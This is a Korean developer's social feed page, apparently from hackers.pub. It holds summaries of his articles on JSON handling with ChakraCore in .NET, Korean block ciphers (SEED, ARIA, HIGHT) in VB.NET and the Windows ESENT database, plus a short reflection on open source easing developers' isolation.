ChakraCore를 JSON 디코더 및 인코더로 활용하기

고남현 @gnh1201@hackers.pub

이 글에서는 .NET 환경에서 JSON을 처리할 때 기존 라이브러리가 가진 한계를 극복하고, JavaScript 스타일을 최대한 유지하면서 효율적인 JSON 입출력을 구현하기 위한 고민과 해결책을 제시합니다. 표준 라이브러리의 크기, 신뢰성 문제, 그리고 JavaScript 스타일과의 괴리를 해결하기 위해 ChakraCore 엔진을 활용한 방법을 소개합니다. ChakraCore 엔진을 통해 JSON 직렬화 및 파싱을 수행하는 C# 코드를 예시로 보여주며, 기존 .NET의 XML 처리 방식과 유사하면서도 JavaScript 스타일에 가까운 JSON 입출력을 가능하게 합니다. 이 접근 방식은 다른 프로그래밍 환경에서도 JSON 포맷 처리 시 유사한 문제에 대한 해결책을 제공할 수 있습니다.

Read more →
4

인간관계에 있어 일을 주든, 투자를 해주든, 내가 영업하는 제품을 구매해주든 어느 한쪽 또는 양쪽에 이익을 가져다주지 못하는 관계인 경우 아예 연락이 끊기는 정도의 수순을 밟게 되는 것이 일반적임.

오픈소스 활동의 좋은 점은 저런 명확한 이익관계가 없더라도 한번 서로 인지된 사람이면은 가늘더라도 꽤 오랫동안 서로 연락하는 관계를 유지할 수 있다는 점임.

개발자도 우울증 많다고 얘기는 많이 들었다.

이런 점에 비춰봤을 때 오픈소스는 개발자의 우울감과 소외감 극복에 도움이 될 수 있다고 생각한다.

6

국산 암호 .NET에서 사용해보자 (SEED, ARIA, HIGHT 등)

고남현 @gnh1201@hackers.pub

.NET 환경에서 국산 암호 알고리즘을 사용하려 할 때, 기존 구현체들의 테스트 벡터 검증 부재, 표준에 맞지 않는 패딩 방식 등의 문제점을 해결하고자 VB.NET으로 SEED, ARIA, HIGHT 알고리즘의 ECB 모드를 구현했다. .NET Standard 2.0 기반으로 개발되어 C# 등 다른 .NET 언어 프로젝트에서도 참조 가능하며, 공식 테스트 벡터를 사용하여 알고리즘을 검증했다. 이 프로젝트는 언어 선택으로 인한 호불호를 줄이고, 최신 시스템에서 사용 가능한 국산 암호 알고리즘을 제공하는 데 중점을 둔다. 자세한 개발 과정은 이슈 링크에서, 소스 코드는 GitHub 저장소에서 확인할 수 있다.

Read more →
5

고남현 shared the below article:

불경하다! 어딜 데이터베이스를 깔려고 하느냐? ESENT (ESE) DB 활용기

고남현 @gnh1201@hackers.pub

이 글에서는 외부 개발 도구 사용이 제한된 환경에서 데이터베이스를 활용해야 하는 상황에 대한 해결책을 제시합니다. 필자는 Windows 운영체제에 기본 탑재된 ESENT (ESE) 데이터베이스를 활용하여 칼럼, 스키마, CRUD(생성, 읽기, 수정, 삭제) 기능을 추상화하는 API를 직접 구현했습니다. 이를 통해 개발자는 상용 데이터베이스 없이도 어플리케이션 개발에 필요한 데이터베이스 기능을 사용할 수 있게 되었습니다. 제시된 C# 코드 예제를 통해 ESENT 데이터베이스를 초기화하고, 데이터를 삽입하고, 조회하는 방법을 보여주며, 이를 통해 개발 생산성을 향상시킬 수 있음을 강조합니다.

Read more →
5

불경하다! 어딜 데이터베이스를 깔려고 하느냐? ESENT (ESE) DB 활용기

고남현 @gnh1201@hackers.pub

이 글에서는 외부 개발 도구 사용이 제한된 환경에서 데이터베이스를 활용해야 하는 상황에 대한 해결책을 제시합니다. 필자는 Windows 운영체제에 기본 탑재된 ESENT (ESE) 데이터베이스를 활용하여 칼럼, 스키마, CRUD(생성, 읽기, 수정, 삭제) 기능을 추상화하는 API를 직접 구현했습니다. 이를 통해 개발자는 상용 데이터베이스 없이도 어플리케이션 개발에 필요한 데이터베이스 기능을 사용할 수 있게 되었습니다. 제시된 C# 코드 예제를 통해 ESENT 데이터베이스를 초기화하고, 데이터를 삽입하고, 조회하는 방법을 보여주며, 이를 통해 개발 생산성을 향상시킬 수 있음을 강조합니다.

Read more →
5
0